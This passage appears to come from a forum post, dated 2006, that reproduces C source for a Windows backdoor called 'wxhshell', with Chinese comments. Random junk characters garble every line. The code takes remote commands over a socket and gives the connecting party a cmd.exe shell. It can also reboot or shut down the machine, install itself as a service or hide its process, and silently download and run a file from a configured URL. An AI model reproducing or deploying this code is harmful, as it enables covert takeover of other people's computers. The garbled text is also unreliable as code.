  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2\,vq R  
  } sN `NZyG  
  else { cP~?Iz8nD  
m )2t<  
    switch(cmd[0]) { Y_) aoRjB  
  zFtwAa=r  
  // 帮助 X[cSmkp7  
  case '?': { gl4|D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q3vWwP;t~  
    break; $ZPiM  
  } 5^\f[}  
  // 安装 QzQTE-SQ  
  case 'i': { NNQro)Lpe  
    if(Install()) F;IG@ &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t7%!~s=,M  
    else 7 vS]O$w<4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?=]*r>a3  
    break; Q(}TN,N  
    }  uT}Jw  
  // 卸载 | ZI~#V  
  case 'r': { `aS9 o]t  
    if(Uninstall()) E&/D%}Wl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5-S:+  
    else hOX$|0i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1MV\ ^l_  
    break; [Q/')5b  
    } U?6YY` A8  
  // 显示 wxhshell 所在路径 gJVakR&  
  case 'p': { T1y,L<7?  
    char svExeFile[MAX_PATH]; J]f\=;z;<a  
    strcpy(svExeFile,"\n\r"); at/v.U |F  
      strcat(svExeFile,ExeFile); "=unDpq]  
        send(wsh,svExeFile,strlen(svExeFile),0); I54O9Aoy  
    break; l.i"Z pik  
    } )y7SkH|  
  // 重启 AUnRr+o  
  case 'b': { [G/q*a:K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H]. 4~ 8  
    if(Boot(REBOOT)) u_o>v{&i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6NCa=9  
    else { 6t5)rlT  
    closesocket(wsh); dm Lgt)-t  
    ExitThread(0); A}#@(ma7  
    } bl>MD8bzLE  
    break; Qr;es,f  
    } "Yn <]Pa_  
  // 关机 62}bs/%  
  case 'd': { &Z+a (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )>ed6A1  
    if(Boot(SHUTDOWN)) [|2uu."$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E( M\U5o:  
    else { [H#I:d-+\  
    closesocket(wsh); : 5@cj j  
    ExitThread(0); %>uGzQ61  
    } j\nnx8`7  
    break; eBTy!!  
    } ^c1I'9(r5  
  // 获取shell #ZIV>(Q\H  
  case 's': { N1Y*IkW"  
    CmdShell(wsh); G:.Nq,513  
    closesocket(wsh); kNW&rg  
    ExitThread(0); t%Z_*mIfmE  
    break; ??rx\*,C</  
  } ,z)7rU`  
  // 退出 nm*!#hx  
  case 'x': { $7aRf'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lC6#EU;  
    CloseIt(wsh); Kg>+5~+E?q  
    break; L_jwM ^8  
    } _Bh-*l?K>  
  // 离开 o(~>a  
  case 'q': { :&`Yz   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c3|;'s  
    closesocket(wsh); yov:JnWo  
    WSACleanup(); ?Z] }G  
    exit(1); \1RQ),5 %]  
    break; cW),Y|8  
        }  UJoWTx  
  } c?d+>5"VX  
  } 4i[3|hv'  
{R[lsdH(X  
  // 提示信息 0-g,C=L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K+H?,I  
} Z>a_vC  
  } b]mRn{r?  
DB_ x  
  return; 71Ssk|L  
} 9U58#  
bE^Z;q19  
// shell模块句柄 L5cNCWpo  
int CmdShell(SOCKET sock) 7F3Hkvd[k  
{ ]k{cPK  
STARTUPINFO si; ZzI^*Nyg  
ZeroMemory(&si,sizeof(si)); M!=v"C#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; quf,Z K5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l~&efAJ-$  
PROCESS_INFORMATION ProcessInfo; `R8~H7{I6  
char cmdline[]="cmd"; ~MO'%'@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .F)b9d[?  
  return 0; '[5tc fG#z  
} F& H~JJ  
Px=/fO G  
// 自身启动模式 itD1r?O{pV  
int StartFromService(void) 2=!/)hw}  
{ n=t%,[Op  
typedef struct HqOSQ<-Fo  
{ *ARro Ndr  
  DWORD ExitStatus; U*k$pp6\b~  
  DWORD PebBaseAddress; hS +;HB,  
  DWORD AffinityMask; 4cJ7.Pez  
  DWORD BasePriority; xzMa[D4(  
  ULONG UniqueProcessId; `X^ 4~6/q  
  ULONG InheritedFromUniqueProcessId; [fR<#1Z  
}   PROCESS_BASIC_INFORMATION; *D;B%j^;  
GG;M/}E9  
PROCNTQSIP NtQueryInformationProcess; .6$ST Ksr  
u|8`=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dw[w%uz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GFlsI-*`  
fQuphMOl6  
  HANDLE             hProcess; KfWVz*DC!  
  PROCESS_BASIC_INFORMATION pbi; |fTQ\q]W  
r9s1\7]x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V}9wx%v  
  if(NULL == hInst ) return 0; &J"a`l2  
%)l2dK&9"j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N ~M:+ \  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &.7\{q\(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;=)CjC8)  
xvp{F9~qT  
  if (!NtQueryInformationProcess) return 0; #JuO  
uVu`TgbZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &r DOqj  
  if(!hProcess) return 0; [rPW@|^5  
TmX~vZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,[Cl'B  
[b;Oalw  
  CloseHandle(hProcess); Ylt[Ks<2  
%F&j B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g:;v]   
if(hProcess==NULL) return 0; S3qUzK  
w=#&(xm0  
HMODULE hMod; {Fb)Z"8]  
char procName[255]; g-}Vu1w0{6  
unsigned long cbNeeded; ,fET.s^|U  
,Z>RvLl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (eO0 Ic[c  
A2rr>  
  CloseHandle(hProcess); j*QY_Ny*  
"5dh]-m n  
if(strstr(procName,"services")) return 1; // 以服务启动 %iD>^Dp  
*A,=Y/  
  return 0; // 注册表启动 R"O9~s6N  
} 1P2%n[y  
Q `E{Oo,  
// 主模块 ~`-9i{L  
int StartWxhshell(LPSTR lpCmdLine) #0xvxg%{  
{ %$]u6GKabi  
  SOCKET wsl; WJz   
BOOL val=TRUE; \=yg@K?"AJ  
  int port=0; SfL,_X]*  
  struct sockaddr_in door; fEQ<L!'  
!0Q(x  
  if(wscfg.ws_autoins) Install(); U}Xc@- \ ?  
%WCpn<)  
port=atoi(lpCmdLine); |UR.7rOV  
-Qn:6M>w^  
if(port<=0) port=wscfg.ws_port; 0^[ " &K/  
YuPgsJ[m  
  WSADATA data; *[yCcqN.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qKO\;e*  
wc__g8?'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UdL`.D,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ix!u#7  
  door.sin_family = AF_INET; 1Kc* MS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qM1$?U  
  door.sin_port = htons(port);  6f1;4Jfp  
?;{A@icr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N(1jm F  
closesocket(wsl); a-QHm;_S  
return 1; o@pM??&x  
} Rut6m5>  
/ m?Z!  
  if(listen(wsl,2) == INVALID_SOCKET) { a~XNRAh  
closesocket(wsl); :K8T\  
return 1; ,Y!T!o} 1  
} ~s5Sk#.z5  
  Wxhshell(wsl); DK)qBxc8  
  WSACleanup(); cJ[n<hTv  
O]2h=M@q.  
return 0; **s:H'Mw_  
^?J:eB!  
} 1km=9[;w'  
%0u7pk  
// 以NT服务方式启动 h/_z QR-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !J2Lp  
{ slQKkx \Dn  
DWORD   status = 0; Kw?,A   
  DWORD   specificError = 0xfffffff; W%h<@@c4,  
E-"Jgq\aC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MESQAsx%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5/*ZqrJw{"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1m ![;Pg3  
  serviceStatus.dwWin32ExitCode     = 0; ' GW@P  
  serviceStatus.dwServiceSpecificExitCode = 0; 6Jj)[ R\5=  
  serviceStatus.dwCheckPoint       = 0; ?_tOqh@in  
  serviceStatus.dwWaitHint       = 0; #bdJ]v.n  
E RMh% C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;G\rhk  
  if (hServiceStatusHandle==0) return; \h0e09& I  
A6UtpyS*'  
status = GetLastError(); oFIs,[ Go  
  if (status!=NO_ERROR) |x kixf4zz  
{ !8A5Y[(XD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vMC;5r6*d  
    serviceStatus.dwCheckPoint       = 0; &=7ur  
    serviceStatus.dwWaitHint       = 0; ~O^_J)  
    serviceStatus.dwWin32ExitCode     = status; h2BD?y  
    serviceStatus.dwServiceSpecificExitCode = specificError; @wa/p`gj5w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fi,=z  
    return; nwkhGQ  
  } P4N{lQ.>  
!.w S+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f9\7v_  
  serviceStatus.dwCheckPoint       = 0; E=x\f "Z  
  serviceStatus.dwWaitHint       = 0; H+: $ 7;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5?I]\Tb  
} W%$p,^@S5  
MBwp{ET!p  
// 处理NT服务事件,比如:启动、停止 Fvv6<E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S%T1na^x  
{ 4a646jg)  
switch(fdwControl) [%h^qJ  
{ i$NnHj|  
case SERVICE_CONTROL_STOP: jgO{DNe(=  
  serviceStatus.dwWin32ExitCode = 0; 67sb D<r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )1]C%)zn  
  serviceStatus.dwCheckPoint   = 0; Q,DumOq  
  serviceStatus.dwWaitHint     = 0; t)v#y!Ci"  
  { sP&E{{<QTF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z'fy9  
  } /y-P) 3_  
  return; X:!%"K%}  
case SERVICE_CONTROL_PAUSE: >:Oo[{)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gM= ~dBz  
  break; fcBS s\\C~  
case SERVICE_CONTROL_CONTINUE: y1AS^'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^1nf|Xj [  
  break; >H%8~ Oek  
case SERVICE_CONTROL_INTERROGATE: #".{i+3E  
  break; aY?}4Bx  
}; S_WY91r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oC?b]tzj  
}  #?,cYh+  
']rh0?  
// 标准应用程序主函数 :@3d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =kCpCpET  
{ 9\n}!{@i  
8uu:e<PLv  
// 获取操作系统版本 < xV!vN  
OsIsNt=GetOsVer(); v>e4a/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +HcH]D;  
m[7a~-3:J  
  // 从命令行安装 $i2gOz  
  if(strpbrk(lpCmdLine,"iI")) Install(); <l6CtK@  
.9E`x>C  
  // 下载执行文件 w5|"cD#8A  
if(wscfg.ws_downexe) { vTP_vsdeG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )a6i8b3  
  WinExec(wscfg.ws_filenam,SW_HIDE); |On6?5((e  
} mPh;  
LnL<WI*Pq  
if(!OsIsNt) { fU8;CZnx  
// 如果时win9x,隐藏进程并且设置为注册表启动 m|y]j4  
HideProc(); lg=[cC2  
StartWxhshell(lpCmdLine); vSyN_AB?$  
} $C>EnNx  
else XNl!(2x'pb  
  if(StartFromService()) N; hq  
  // 以服务方式启动 @s[bRp`gd  
  StartServiceCtrlDispatcher(DispatchTable); *GDU=D}  
else V]8fn MH  
  // 普通方式启动 {P3,jY^  
  StartWxhshell(lpCmdLine); h'}5 "m  
:G`_IB\  
return 0; rm cy-}e  
}
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只看该作者 1 发表于: 2006-10-10
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